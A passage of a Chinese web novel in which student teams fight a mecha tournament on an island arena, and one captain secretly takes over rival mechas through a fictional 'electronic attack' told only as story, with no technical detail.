“这个嘛，机甲不都两个手两个腿，我们机甲界的事情，怎么能算抄呢。” 另一人也是接话道。 “什么抄袭啊，你现实一点。莱机所都一把火烧没了，陶影也死了，何况那台机甲，呃，叫什么来着，恒我是吧？听说它根本运行不了！这么说来， 哪怕是抄袭，不也是件好事吗，最起码把别人的心血存留下来了。” “就是就是。” 那反驳的女人被一大堆人围攻，嘴张了张，不作声了。 比赛地点在切斯特星B区的环星岛——这是作为商业中心的B区，唯一可以用于机甲比赛的区域。 环星岛以前是知名的度假岛屿，后来因为受到污染，旅游业一落千丈，惨遭废弃。 哪怕这些年经过了维护，但因为污染的事太过深入人心，依旧没有发展起来。 所以干脆用来当作机甲赛场。 整个岛的形状非常规则，近乎圆形，像披萨一样，大概切割成六个区域，废弃工业区、城市区、森林区、海滩区、港口区，城市规划一目了然。 岛的中央是一个信号塔。 每个队伍将随机选择一个区域，从岛的边缘出发。 看台设置在海里，在大家热烈的欢呼声和期待的眼神中，信号塔咚咚的钟声，回荡在整个环星岛上。 “比赛开始——” “帝国第一军校开始进攻了！” 解说热情四溢道：“我们可以看到，溟火的性能真是非常厉害，跟别的机甲完全不在一个水平线上，它的动作十分流畅，简直不像是人类在操作，而是真正地达到了人机一体啊！” “和它相较，场上的其它机体都略显逊色……咦？这台机甲是？” 一台纯黑色的机体缓慢入场，纤长而优雅的工业设计让众人为之一亮。 解说满头大汗，翻了翻手上的参赛名录。 这是什么机型，怎么以前从来没见过？ 解说卡壳，观众却也注意到了那台黑色机甲。 “这台机甲跟溟火是不是有点像？” “哎，火了就是会有人模仿嘛，正常。” 刚刚被众人反驳闭嘴的女人突然道：“不，是溟火模仿了它。” 她身边的人也大大咧咧道：“就是，朱弛那个不动脑子的，连外形都抄。” “那当然，爱荷华科技又不懂核心技术，换一个零件说不定就不能运行了。” 其他观众：“？” 这两人怎么听上去像是知道抄袭事件的不少内情。 大家还想再问，身后突然传来一声大吼。 “我知道它的名字！”观众席里三名中学生激动地站起来。 “恒我，是恒我！” “我们当时在第三星系遇到星盗，就是它救了我们！”—— 作者有话说：赛前热身（搓手 第83章 “啊,果然！” 一人两眼放光地搭话。 “我看过星舰第一视角直播，当时就觉得机体是恒我，但不敢确定。那名机师非常厉害,听说是莱门大学的新生。” “对吧，小颖姐特别强！要不是她挺身而出,我都不能站在这儿。” 中学生扯了扯自己的红围巾，眉梢染上几分雀跃。 “这是我们当时遭遇星盗的惊险片段！” “我看看我看看！” 众人挤上前去。 录像中,那台黑色的机体,以常人难以理解的速度,在宇宙间穿梭。 众人眼花缭乱之际，机体很快将两台星盗的机甲斩落,甚至夺走了他们的武器。 开始大狙特狙剩下的一台。 结束后,机体更是手心一抬,捏爆能源内核。 深黑的宇宙中爆发出的瞬间光芒，久久不能消散。 大家嘴唇微张,似乎想说什么，但话到嘴边又咽了回去。 看台的时间仿佛暂停了。 片刻后,观众席发出猴叫声：“我去，新手以一敌三，还抢走了星盗手中的‘死吻’,太夸张了吧？” “这个反应速度，肯定是知觉机甲没跑了！” 有一些不明情况的凑热闹外行听了半天，只抓到了关键词。 “什么，恒我也是知觉机甲？和溟火一样吗？” “第二台知觉机甲！” “场上还有第二台知觉机甲！” 观众席发出兴奋的猴叫声。 原本集中在溟火那边的目光，有一半转移到了恒我身上。 大家冷静下来，好奇道：“现在恒我的机师，难道是视频里那位新生？” “这个嘛,不知道。”中学生挠了挠下巴，语气不太确定。 看台传来失望的声音。 “那你说个啥，知觉机甲很考验机师精神力的，它只是上限高，又不是谁坐上去都能开出视频里那种水平。” “就是，我还以为能看两台知觉机甲巅峰对决呢。” 大家无奈地坐回座位上。 “哇，不愧是溟火，开场十分钟，已经斩杀了同一区域内的其它五个队伍，堪称大放异彩！” 帝国第一军校的初始作战区域，在森林区。 这里的树木不像灰荆森林那么高耸，机甲很难隐蔽其中，所有的队伍都很快被帝国第一军校的三台机甲发现。 并锁定。 在他们意识到溟火的存在之前，早已成了溟火的掌中之物。 这六分之一赛区，俨然是溟火MK2的单独秀场。 溟火的击杀数，短短十分钟内，来到了15台。 森林区，清空。 帝国第一军校紧接着来到了海滩区，这里同样是没有什么遮掩的位置。 他们采用同样的战术又砍杀了四个队伍——不，这根本不能称之为战术。 就只是强大。 只要溟火出现的地方，根本没有敌手。 “维加瑞军校，仿生水母型的Medusa正在行进。这是本次比赛少见的专门用于水下作战的机甲。它清透的机体，如同深海中的幽灵，可以全部隐藏于海水中，在你还未察觉的时候就将你的驾驶舱拧下来，可以说是致命的杀手。” “还有电鳗号！大家看见了吗！在Medusa的身后，电鳗号正在潜伏，它没有手脚，就像潜艇一样悬停在水中——” “还有仿生章鱼型的奥克，紧随两位队友其后，三名队友碰头了，他们似乎有所打算……哦！奥克弹射到了溟火的驾驶舱头部！” “让我们看看，它能对溟火产生什么冲击力——” 奥克号发出一声尖锐地尖叫，瞬间，灵活得让人有些头皮发麻的八条机械触手，缠上了溟火的头部。 它的触腕翻滚，抽打，但吸盘始终紧紧地吸在溟火的头部，像要将它绞杀在那里。 溟火却站在原地不动，肢体僵硬。 这是它在场第一次处于下风。 看台发出惊呼：“怎么回事？” 有人解释道：“知觉机甲的机师，感觉和机甲是共通的，机师现在突然察觉到窒息感，又什么都看不见，所以突然慌乱了吧？” “糟了，溟火要被拉进海里了！” “维加瑞军校打算将溟火困在海里，再用电鳗号电它！这哪怕是溟火也扛不住吧？” 一位观众这时又道：“如果知觉机甲的感觉，真的和机师本人共通，那溟火如果被拉进海水里电宕机了，机师本人岂不是也会……触电一样？” 众人想了下那个场景，忍不住摸摸胳膊上的鸡皮疙瘩。 解说：“不用担心，大家是不是忘了，溟火好歹还有两个队友呢，他们不会眼睁睁看着自己的队友被拖入水中的。” “溟火的 两位队友，一位是帝国第一军校准度99%的狙击手，在同赛道几乎没有败绩，大家叫他老三，另一位也是超级强力的强攻手，正面战少有敌手！” “是的，”解说举起拳头，“帝国第一军校从来不需要防御，帝一的口号是进攻，也只有进攻！” “进攻就是最好的防御！” 果然，解说话音刚落，溟火的身后，十几公里外的城市区，高楼上架起一道枪。 是狙击手老三。 老三虽然年纪不大，但脸长得十分沧桑。 他胡子拉茬地朝队友比了个俏皮手势：“小心啊，队友，我要开枪了。” 队友痛苦道：“老三你能不能别这样，算我求你了，自己人。” 老三：“什么，别开枪？” “我让你别wink了！你直播开多了啊！” 老三啧了一声：“真是不懂得欣赏。” 他果断地架起枪，对着海里的两个点，一枪一个爆头。 没有任何犹豫，Medusa和电鳗号的生物迷彩，在老三面前仿佛不存在，他就这样隔着十几公里的距离，准确地击中了海里的两台机甲。 而这边，溟火的驾驶者也将头向沙滩上一撞，奥克号的燃料箱很快被撞破泄漏。 溟火拉住它的一条足，在空中旋转，然后狠狠地摔在地上。 不停抽打。 “哎哎，可以了，新人，他们已经认输了。我们要去下一个场地了。” 老三在队频里劝了劝，但这位新人仿佛没有听见似的，脚又狠狠地朝它的驾驶舱踩去。 “这，这有点过了吧？” 观众席。 “溟火的机师是刚刚吓着了？” “不至于吧，知觉机甲的机师一般情绪都很稳定，估计是杀红眼了？” 眼看情况不对，强攻手上前拉住了溟火，溟火转头就下意识将攻向强攻手的驾驶舱。 强攻手“wow”地飞速闪开，然后抬起双手。 “你冷静点，队长，怎么了，今天脾气有点火爆啊？” 溟火的机师这才冷静下来，他按了按抽痛的太阳穴。 感觉精神力有种奇怪的波动。 他晃了晃脑袋，深呼吸一口气。 “没什么，估计是前几天训练强度太高，精神力使用过度了，继续比赛吧。” “好嘞，走起。” 刚才的场面有点血腥，导播切换了镜头。 解说：“帝国第一军校靠着溟火一台机甲输出，所向披靡。已经继续朝港口区前进了，他们的下一个对手又是谁呢？狙击手老三竟然连手里的枪都收了起来！别人是来比赛的，他们是来郊游的。” “显然帝国第一军校已经是冠军预定了，帝一的同学们，有什么话想跟在场的大家和屏幕前的观众说吗？” 帝国第一军校的学生们齐声，震撼云霄道：“帝一必拿第一！” “哦——非常有气势的口号。” 随着震天响的口号声，帝国第一军校十分钟扫平了海滩区，迅速来到港口区。 砍机甲如同砍菜，它甚至没有使用任何武器。 而另一边，城市区。 “贝奥尔军校发起了强攻，她们目标明确，直指卡缪军校！看来去年和卡缪军校结下的梁子真的非常大。” “卡缪军校接招接得非常吃力，但也并没有就此倒下，他们的战斗也非常漂亮，不愧是上一届的第三名！在卡谬军校的雷霆攻势下，没有一点示弱。好的，卡缪军校开始反击了！切割刃卡在了弑神者机体的关节处，但按照比赛发放的武器，硬度应该是无法切断……啊，他的队友同时使用了激光攻击同一个部位！金属软化后有了被切断的迹象！” “这一刀可值六千万星币啊，卡谬军校陷入了一场苦战，贝奥尔军校为队友报仇也算是不计成本了，难道卡缪军校即将折在这里吗？！” 城市区的战况胶着起来，迟迟没有分出胜负，导播将镜头转向了其它队伍。 “那么，让我们把视线投向赛场的另一台知觉机甲吧——” 解说兴奋地扬起声音。 “两台知觉机甲会相遇吗，他们会在这座岛屿上来上一场史诗级别的交战吗，让我们拭目以待！” 镜头切换到了废弃工业区。 但……这里没有一台机甲。 “嗯？这个赛区怎么这么安静？没有一点战斗的迹象。” 观众也是一脸问号。 恒我呢？ 大家满怀期待的第二台知觉机甲呢？ 怎么一点影子都没有？ 解说也是满头大汗，连忙敲导播。 “机甲镜头呢？冷场了朋友。” “她就在那里啊！那个废弃工厂的后面，那里有个洞！” 解说这才凑近了画面看。 恒我的机体藏在那个被大火烧成黑色的桶边，简直是毫无违和感。 在这里玩大家来找茬吗？ 观众似乎也终于注意到了。 “这难找程度简直像我家的黑猫……” 他们观察了陶影一阵，发现她根本毫无动作，而她的两位队友也不知所踪。 难道是已经被斩杀了？ 大家本来对这个队伍抱有十分大的期待，这会看到这个场景，都异常失落。 “刚刚是谁说的它是知觉机甲，我看还不如普通机甲呢。” “是啊，就一直缩在那儿是什么意思？” “她在等什么，等CD吗？” 看台上的中学生不服道：“你们不懂，小颖姐肯定有战术！” “什么战术，莫欺开场穷，莫欺中场穷，死者为大吗？” 解说接过一边的赛场记录，也是摇摇头道：“太空女鬼队从进场就一直开着迷彩，她们难道是打算躲起来，苟到比赛结束？” “坐收渔翁之利，这倒也是个合理的战术……” 看台上传来一众嘘声。 第84章 苟,音同狗。 历届观众一致认为，联赛使用苟这种战术的队伍，都狗得不行。 联赛的目的是赢吗？ 不能否认,是的。 但对观众来说，冠军不仅要赢,还得赢得漂亮。 当缩头乌龟算什么本事。 大家千里迢迢赶来现场，看的是这个？ “就算要玩战术,也高级一点吧。” 然而,就在观众席一片不满的声浪中,太空女鬼队依旧毫无动静。 苟得非常安心。 尤其是陶影。 仿佛在那个工厂住下了。 偶尔有几次恒我动了，大家兴奋地以为这台机甲终于要开始行动。 但最后发现只是陶影翻了个身。 被遛的观众怒了。 “我都屏住呼吸准备迎接暴风了,结果你给我翻了个身？” “来人啊,我五十米大刀呢！” …… 二十分钟后,帝国第一军校稍作休息，开始扫荡下一个区域。 而太空女鬼队还在苟……嗯？ 不太对劲。 眼尖的人发现,她们的队伍布局似乎发生了变化。 “哎，你们看,太空女鬼队的机甲是不是动了！” “动就动呗，咸鱼翻身罢了。” “估计是这一半机体被太阳晒烫了，机师换个姿势晒另一半而已。” 大家已经被陶影遛得没脾气,无力回答。 那人急忙解释道：“不是说恒我，我是说她的两名队友，她们突然变换了场地。” 众人定眼一看，还真是有点奇怪。 林别歌和南卦的机甲开始行动了。 有人疑惑：“这两位选手开局就去了城市区，然后一直躲着，也没被人发现，怎么突然换了个地方藏？” “好像是没什么必要的行动。” 有人摇头：“赛场上没有‘不必要’的行动。” “只要试图改变什么,这个行为一定有目的。” “每个微妙的行动，突然的变化，让人觉得不对劲的地方，可能就是战术的一环。” 解说深谙这个道理，所以她虽然有些疑惑，但也抱着严谨的态度，试图分析太空女鬼队此刻的行为。 镜头朝林别歌和南卦拉近，两台高级机甲一前一后，飞速行进，目标很是明确。 路中没有任何停留。 果然，她们是带着目的来的。 解说压抑着兴奋，高举话筒：“来了来了，她们朝着海滩区走来了！难道太空女鬼队的战术终于发生了改变，要开始布局了吗，但来到海滩区是为了什么呢，让我们拭目以待……” “啊？” 待字刚说到一半，解说发出一个疑惑的单音节。 观众也被面前的景象震撼住了。 后台工作人员，在大屏打出一个问号，以表自己此刻的心情。 多年的职业生涯，早已将解说姐姐千锤百炼，带给了她一张不管遇到多奇葩的赛点，都能找到亮点的嘴。 但此刻面前的场景，让她的心乱了。 简单来说，噎得她一个字都说不出来。 林别歌机甲刹在沙滩上，利落地回身，扬起半圈沙子。 两台机甲猴子一样灵活。 但她们的灵活没有用对地方。 林别歌和南卦跳上巨大椰子树，然后齐齐回头，手搭在额头，眯着眼睛，朝城市区瞭望。 椰子树摇来摇去，显得她们的机甲 更像是猴子了…… 但到这里还算正常。 ……应该算是吧？毕竟没有人在决赛见过机甲模仿猴子。 解说姐面色僵硬。 不行，场面不能就这样冷下来，一定得有个话题接住！ 解说姐姐清了清嗓子，努力为这两人的行为找补：“难道太空女鬼队是在观察敌情，方便下一步计划？” 观众觉得解说的话也有几分道理，多少有点期待她们的下一步动作。 万一这次是真的不狗了呢？ 但接下来—— 林别歌和南卦没有下一步动作。 她们玩起来了。 两台机甲似乎是确定了附近没人，一蹦一跳地来到海滩，踩着沙子晃来晃去。 牵着手转圈。 时而在沙滩上画画，时而开始拍照，时而45度角仰望天空，时而捏水球互相乱砸。 最后两台机甲似乎是玩得有些腻了，抱起路边的石头。 开始比谁的水漂打得远。 “小影，这块石头应该能飞三段。” “我这块才大！” 远处的陶影半眯着眼，懒洋洋道：“嗯，玩得开心就好。” 观众：“……” 这已经超越苟的范围了，你们究竟来干嘛的。 解说姐姐深吸一口气。 真的很想冲进赛场掐住她们的脖子，然后使劲摇晃，问：“你们要上天吗！” 观众席也彻底被点燃了。 “好歹是机甲联赛的决赛，能不能给一点最基本的尊重？” “太过分了！我花钱不是来看你们在清晨的海滩讴歌青春的。” “同样是队员摸鱼，和帝国第一军校相比，太空女鬼队摸得怎么就让人这么难以接受……” “可能是队长的原因吧。” 众人看向那台在废弃工厂躺着的纯黑色机甲，不禁发出感叹。 “毕竟帝国第一军校的队长一直在A，但太空女鬼队的队长一直在苟……” “现在，画面来到废弃工业区的其它选手，哦，图兰提斯战术小队！它原本在港口区，为了避开溟火，来到附近的工业区。” 解说语气欢快。 “想必他们也察觉到了帝国第一军校的强力攻势，决定先退一步，找其它队伍寻求合作。” “而它的前方是……呃，瓦伦提斯军校？” 瓦伦提斯小队来自第三星系的小国。整个军校水平一般，他们能进入决赛，纯属运气。 基本上是炮灰一样的存在。 观众更沉默了。 “他们的机甲甚至还是半决赛的中低端型号，这真的能打吗？” “没什么好看的。” “有点无聊。” 并没有人关注弱势的小队，镜头很快就扫了过去，然后切换到下一个战场。 只有一个观众神色不太对劲，戳了戳身边的人。 “瓦伦提斯小队的动作好奇怪。” 那人也是点头：“对啊，他们机甲那个走路姿势也太邪门了，七拐八扭的。” “就跟中病毒了一样。” …… 赛场内，瓦伦提斯小队的机甲的确遭到了电子攻击。 整个队伍对此毫无防范，陷入一片慌乱。 “队长，我的机甲不受控制了！” “我的面板也黑屏了，这是怎么回事？” 队友手忙脚乱，在操作台上一阵乱按，甚至还误触了救援警报，听得人心脏狂跳，队员赶忙在救援人员接起前挂掉了。 好不容易机甲的行动稳定。 瓦伦提斯的队员瘫在驾驶位。 “有人夺取了我们的机甲控制权。” 瓦伦提斯军校的队长乌金手握操纵杆，声音镇定，但微微颤抖的双手还是暴露了他的紧张。 “我们就只是一个小队伍，谁会这么大费周章控制我们的机甲？” “就是，我们的机甲型号这么普通，控制我们有什么价值。” “恐怕正是因为太普通了，”乌金摇摇头，“好攻破，自然就容易被人盯上。” “也太倒霉了。” 乌金安慰队员：“我们能走到决赛就很厉害了。先看看这人想做什么吧，大不了明年再来！” “大不了明年再来！” 瓦伦提斯小队一副破罐子破摔的态度，紧盯着屏幕。 不禁思考，控制他们的人究竟想做什么？ 于是他们就看见，小队的三台机甲面对面，站成环形，其中一台机甲高抬起手，呈即将劈下的状态。 “难道是要用我们的机甲互相攻击？” 乌金心里难受，手按在呼救按钮上，已经做好准备打算认输。 而在他按下按钮前，另外两台机甲也同时伸出了右手，开始…… 剪刀石头布。 乌金：“？” 两位队员：“？” 一名队员憨厚道：“队长，你出的石头，我们出的布，是你输了。” 乌金沉默了很久，最后忍不住咬牙道：“这！是！重！点！吗！” 控制他们机甲的人是不是有病？ 变态啊！ 乌金胸口一团火烧起来，忍不住公频开麦。 “你谁啊你！费这么大功夫就为了玩剪刀石头布？！” 乌金的声音太过浑厚，穿透性极强，一时间战场上所有的机甲都顿了一下。 甚至因为是公频，连场外的看台也听得清清楚楚。 观众：“？” 选手们：“？” 公频一片混乱，选手们根本分不清楚是谁在说话，只听见刚才有人在破口大骂。 “什么啊，吓我一跳。” “听声音像是瓦伦提斯的队长？他们干嘛呢？” “我——” 乌金正想提醒大家，说有人在场内夺取别人的机甲控制权，就发现他的通讯模块瞬息间被切断了。 一个女声调笑道。 “还不是时候，你现在有其它的任务。” 女声轻轻的，像谷底的回音回荡在乌金脑中。 明明是在笑，不知道为什么，总有点女鬼的阴森感觉。 乌金听得背后一凉。 这人是谁？ 如果是其它队伍，想必能猜出这个说话的女鬼就是陶影。 但瓦伦提斯在半决赛时，是第一个晋级的，他们并没有感受过被女鬼追杀的恐怖。 所以，乌金直到最后，都被蒙在鼓里。 “你说你一定能赢，计划是什么？” 当时，柏工的大楼顶层，陶影笑容玩味地回答。 “首先，选一个合适的队伍开局。” “一个好攻破的，毫不起眼的，且对赛场众人来说，没有任何记忆点的队伍。” 手中硬币抛出，稳稳落在桌上。 陶影俯身盯着众人，直直将硬币推到圆桌内部。 “瓦伦提斯小队，是最好的开局利器。” 废弃工业区。 陶影一直苟着，腰都坐痛了。 干脆起身活动。 面板上是整个赛场的战局，她一边转着身体，一边懒散地检查。 目前为止都在预料之内，没有什么需要修改的地方。 头顶的精神力触手时不时过来骚扰一下她。 陶影手捉住它，拉灯似的向下扯了扯。 “安静点。” 那精神力触手有些委屈地缩了回去。 …… 恒我有这么人性化的设定？你们柏氏工业究竟调整了什么参数。 之前打星盗那次，陶影就问过柏氏工业的技术员。 得到的回答是：“没有改过任何参数。” 而询问过柏工的资深人员后。 得到的另一个回答是。 “它爱你，这是机甲的爱！” 让你以资深技术员的角度分析问题，不是以资深机性恋的角度分析喂。 不过话又说回来，据说柏氏工业内部的机性恋含量达到了堂堂99%。 想避开这个视角可能有点难。 陶影无奈地摇摇头，视线落到屏幕角落的小进度条。 进度条已经过了大半。 队频传来南卦的声音。 “小影，已经有四个区域被帝国第一军校攻克，十八个队伍被淘汰，我们还要继续蹲着吗？” “哦，卡缪军校被贝奥尔军校打败了！跟你预测的一样！” 太空女鬼队的初 始场地，在工业区。但现在工业区的废墟里只有恒我。 两位队友开局就被陶影安排去了城市区。 城市区高楼林立，地下车库颇多，是最好隐蔽的地方。不过溟火逐渐往那个方向去了，太危险，所以陶影刚才指挥两位队友去了海滩区。 “我们就这么一直藏着吗？”林别歌的语气里带着无聊。 陶影觉得她们说得很有道理，于是提出建议。 “贝奥尔军校现在正在修整，你们要是觉得无聊，就去把她们干掉吧。” “趁她们修整干这个也太缺德了吧，”林别歌兴奋搓手，“我喜欢，现在就去！” “嗯，玩得开心。” 陶影想起什么，又道：“对了，我比赛前说的话别忘了。” “队长吩咐，不会忘。”林别歌眨眼。 “离溟火所在的区域远点，对吧？”—— 作者有话说：解说姐姐：职业生涯滑铁卢（ 第85章 两台机甲在港口的集装箱中左右跳跃。 穿过上货区后,她们沿着海边，轻巧地在消波块上飞奔。 是南卦和林别歌。 这段时间的训练让她们的驾驶技术显著提升，哪怕是复杂的地形,她们也尽在掌握。 “终于可以打架了！”林别歌欢快道。 开局一直在苟，她们手痒得要死,现在迫不及待地想找人碰一碰。 区区贝奥尔军校，等着成为她们的手下败将吧,桀桀桀！ 林别歌非常兴奋。 两人跳离集装箱十几米后,突然和前方的一台机甲对上视线。 对方没有犹豫,迅速攻击。 林别歌和南卦对视一眼，同时高高跃起,两手紧握横向吊臂,以吊臂为中心,在空中旋转360度。 720度。 然后凭借惯性，直接朝攻击的机甲撞去。 两台机甲被她们迅速的反应撞蒙了,很快四处奔逃，败下阵来。 拆掉驾驶舱后,两台机甲起身击掌。 两名队友齐声道：“好耶！” 吱呀。 主力柱开始摇晃，吊臂发出不详的断裂声。 设计目的是上下升降重物的吊机，经不起横向的大幅度冲击。 断裂了。 吊机轰然砸进海里,搅起一阵白色浪花，层层叠叠。 两人对着海上的波涛看了一会儿，甚至朝那侧的观众看台挥了挥手。 然后突然冷静了下来。 林别歌沉思：“我刚刚想到一件很重要的事。” 南卦：“小影她究竟想干什么？” 两人对视一眼，都是面露疑惑。 没错，某位队长说了，开局靠苟。 那这会儿安排她们去打贝奥尔军校是怎么回事？ 林别歌紧皱眉头：“我总觉得那个黑心队长在盘算什么。” “南瓜，能不能用你的超绝观察力判断一下她的目的？” “其实我的ESP在小影身上不太管用,”南卦不好意思地绞着衣角，“其他人的精神力我都能看到具体的形状，但小影的精神力很强，我只能看见一团模糊的轮廓。” “不过最近，小影的精神力有点不稳定。” 南卦垂头思索：“刚见面的时候像是仿生人，中间又有点像只黑猫，最近……” “最近？” “最近有点像女鬼。” “她不一直都挺像女鬼的吗。” “不，是死了几千年的那种女鬼。” 两人讨论了一番，最终还是不知道她们的黑心队长究竟想做什么。 林别歌只能再次说出她的经典台词—— “我不管了啦。先干再说！” 很快，她们来到贝奥尔军校的整备地点。 地上有三台机甲的残骸，明显是卡缪军校的机体。 碎得拼都拼不起来。 看来光是打败卡缪军校还不够，贝奥尔军校以牙还牙，把他们的机甲也毁了。 不愧是贝奥尔。 林别歌正感叹贝奥尔军校十分团结，待会儿要怎么逐个击破。 一分神，脚下踩到机油。 林别歌一个滑铲就滑进了贝奥尔军校三台机甲中间。 南卦紧随其后。 两人：“……” 贝奥尔的三人：“……” 三双眼睛齐刷刷地对着她们，然后全部猛地起身。 贝奥尔军校的队长冷笑一声。 “想趁休息时间干掉我们？不巧，刚好整备完成，现在正是巅峰战力时刻。” 说完，她的机甲拳头挡板脱落，露出内部的炮筒。 一个炮弹迅速发射，擦过林别歌的机甲侧身，暴风极近，卷起沙尘，扫过在场所有人的侧颊。 林别歌的机甲右臂炸开一个半圆形的洞。 露出内部碗口般粗壮的线路。 时不时炸出电火花。 林别歌：“……” 她惊险躲过一次左右夹击，还没来得及喘息，背上又挨了一下。 此时，林别歌终于想起临走前黑心队长说的话。 “贝奥尔军校现在正在修整，你们要是觉得无聊，就去把她们干掉吧。” “玩得开心。” 林别歌面露后悔。 她当时怎么就没察觉到黑心队长语气中的那一抹玩笑意味？ 次次都上当，当当不一样！ “啊，赛场局势一下子热闹了起来。” 解说握紧拳头。 “现在，有四个队伍开始了对战！” “首先是太空女鬼队和贝奥尔军校，看来继苟的战术后，太空女鬼队又采用了乘虚而入的战术！” “可惜，众所周知，贝奥尔军校是越战越强的类型，根本没有落入败势，反倒开始强力攻击。” “太空女鬼队落入下风！” “两位队友且战且退，这下太空女鬼危险了！” 解说继续道：“而另一边，瓦伦提斯小队，他们竟然向图兰提斯战术小队发起了进攻，这是出于什么考量呢？” 看台上的角落，瓦伦提斯小队的后援团——也就是该军校的学生和教练，正在焦急讨论。 “乌金在干什么啊？” “他怎么敢和图兰提斯的人正面对上？还不如像太空女鬼队那样先苟着，然后找机会攻击。” 这名学长显然十分焦急。 “而且图兰提斯是来寻求合作的，对攻击我们本来都没有兴趣，乌金究竟在想什么？平时也不是这么冒进的人啊。” 这时，一直沉默的教练突然说话了。 “恐怕他们的机甲被控制了。” “什么？”学生齐齐发出惊讶的声音。 教练临危不乱道：“你们仔细看看他们三个的动作，跟平时的驾驶习惯完全不一样。” 学生们这会儿看过去，果然发现和教练说的一样。 他们的动作模式非常僵硬，而且整齐划一。 这不像是人在操作，更像是既定的程序。 学生疑惑：“可为什么要控制他们的机甲去攻击图兰提斯？” “我也不知道。” 教练无奈摇头。 “但我猜，背后人士的目标是图兰提斯。” 不只瓦伦提斯军校的人对背后人士的目的感到疑惑。 祝小芮也很疑惑。 图兰提斯小队，此刻正和三台中低端型号的机甲周旋。 打从一开始进入工业区，祝小芮就发现了它们的存在。 本来以为对方是在帝国第一军校的强势攻击下寻求合作 ，但没想到，对方竟然上来就开始攻击。 “到这个程度应该放弃了吧。” “我真不想轰掉他们的机甲。” “怎么这么缠人，他们看不出来我们之间的实力差距吗？” 瓦伦提斯今年是第一年来切斯特星比赛，往常都在海选赛就被淘汰了。 他们实力有限，经费也有限。 从机甲型号就能看出来。 图兰提斯本着照顾新人的规则，更喜欢和强队竞争，战术通常不往弱队身上使。 但瓦伦提斯小队似乎铁了心要和他们打一场。 “既然如此，就尊重对手的选择吧。毕竟我们是有风度的图兰提斯。” 姬达婳下结论道。 “好的！”“收到，队长。” 本次翟飞舟使用的是狙击强化型机甲——云针。 云针的子弹头部呈尖锥形，直径是其它型号炮弹的二分之一，经过特制的弹道稳定枪管，发射出的子弹，射程最高可达三十公里。 而祝小芮本次的机甲是雾雨F99，属于半辅助型机甲。 漂亮的白金色机体还是很引人注目。 而雾雨系列标志性的翅膀，这次变成了八个可拆分的浮游炮，可以聚合协同攻击，或者分散击破。 显然，这场战斗用祝小芮的机甲更加合适。 战斗一触即发。 祝小芮操纵浮游炮开始分散攻击。 但对方的走位鬼魅一样，闪避非常厉害，总是打不中。 图兰提斯于是转变了战术，集中火力将瓦伦提斯逼退。 但很快，对手便找到一条安全路线，又追了上来。 第四次重复这个循环的时候，图兰提斯的三位选手终于忍不住了。 怎么甩也甩不掉？ “这个阴间的战斗方式，让我想起来一个队伍。” 祝小芮顿了一下：“不会是太空女鬼队在背后操纵吧？” 翟飞舟：“但刚刚好像看见她们在跟贝奥尔军校对战。” “哦——” “那应该不太可能是她们？” 被贝奥尔军校咬死的话，恐怕没有闲心操纵机甲来折腾别人。 哪怕是那个战术十分阴险的队长，也够喝两壶的。 毕竟那是曾经拿过数次联赛冠军的贝奥尔军校。 三人于是放下心来。 四不过三，这次图兰提斯没有再留手。 姬达婳直接上前，近乎无情地拔出审判之剑。 圣律者头顶金色光圈，高举修长的剑身，如同向天请求神谕。 机甲额心的金色图腾，此刻如同圣痕般闪耀。 荆棘和蔷薇缠绕的剑身华丽且锋利无比。 “神说，降下惩罚——” 圣律者两手握剑，举至目前。 剑棱一转。 圣律者眸光闪耀，剑身横扫！ 剑身没有任何阻碍地，劈开周围的平房，露出内里的断面。 只一个瞬间。 两台机甲的头颅怦然坠地。 呼呼—— 寂静的废弃厂房边，传来一阵风声。 似乎角落里，还有谁鼓掌的声音。 但图兰提斯没有听见。 姬达婳将剑收回机甲的脊背，只是说： “小芮，收尾吧。” “好嘞！” 祝小芮操纵八台浮游炮，将身前的乌金团团围住，打算结束战斗。 他们没注意到，乌金的机甲站在原地毫无动静，已经有段时间。 也没有发现，在姬达婳攻击时，有什么东西悄然潜入。 但她们很快就将意识到。 因为祝小芮的雾雨F99，连同它的八台浮游炮，都停滞在空中，像被冻结了一样。 “小芮？”“小芮姐？” 两位队友奇怪地喊着祝小芮的名字。 “你怎么不动了？而且也不回话。” 翟飞舟正要操纵机甲云针，上前察看情况，姬达婳眸光一闪，突然察觉什么，大喊了一声：“别去！” 只见八台浮游炮齐齐转向，对准了翟飞舟的驾驶舱。 “——我们的机甲被控制了！”—— 作者有话说：陶影：打得漂亮（鼓掌 图兰提斯众人：…… 第86章 图兰提斯的混乱只是个开始。 这波电子攻击,利用雾雨F99浮游炮的灵活性，以及其自带的强电子干扰，直接辐射了工业区所有机甲。 在这些选手毫无察觉的状况下,他们的机甲系统被撕开一个大口子，植入未知程序。 电子攻击在严重的情况下,能斩断机师获取外界情况的所有渠道，包括视觉模块,通讯模块。 甚至对一些战术专家来说,还可以刻意向机师提供错误信息,引导战局。 这就像个不知道何时会爆炸的炸弹，随时可能被陶影点燃引线。 而察觉到这强大威胁的,只有图兰提斯小队队长,姬达婳。 姬达婳曾经在赛场上遇到过类似的选手,实力非常恐怖。 那届联赛，图兰提斯排名十四。 是建校以来的最低名次。 当信息真实性都无法确认,又要如何确定战术。你能保证队频里说话的那个人，真的是你的队友吗？ 姬达婳惊出一身冷汗,握住操纵杆的手不停打滑。 一旦被攻破，不管多厉害的机甲，都会瞬间变成废品。 这个程度的电子攻击,可以让全场百分之九十的机甲直接陷入瘫痪状态。 但陶影并没有选择这么做，目前为止，赛场还算和平。 “你究竟想做什么？” 姬达婳对着寂静的通讯模块询问。 她知道对方一定能听见自己说的话，但没有指望回答，只是自言自语。 良久，女鬼的回答传来。 “只是一个保险而已。” 保险？ 姬达婳敏锐察觉到了什么，低声试探。 “你的意思是,向这些机甲植入病毒是为了防止一些特殊情况发生吗？” “糟糕，竟然被你发现了，怎么办？” 陶影话是这么说，但声音懒散得很，一点都没有困扰的意思，果不其然，她说完就换了个话题，继续道： “赛场上总有一些意外，我这人比较没有安全感，所以喜欢掌控局势。话说回来大花队长，我有事情需要你跟小芮帮忙。” 陶影欢快地提出建议：“合作不？” 姬达婳：“……” 拳头硬了。 砍了他们一台机甲，然后又大言不惭地说要合作，人的脸皮怎么能如此之厚。 你管这叫合作？这叫威胁！ 而且—— “说过多少次，我不叫姬大花！” 姬达婳忍无可忍道。 镜头对准林别歌和南卦。 看台正在讲解两人和贝奥尔军校的战斗。 解说热血沸腾：“太空女鬼队的林选手被击倒后，南选手突然爆发了极强的攻击力，直接砍掉了贝奥尔军校两台机甲，局势瞬间逆转，令人大跌眼镜。” 解说不可置信道：“难道这位南姓选手，其实是队友不死就无法觉醒的类型？” 看台上整齐划一地响起“队友祭天，法力无边”的高喊声。 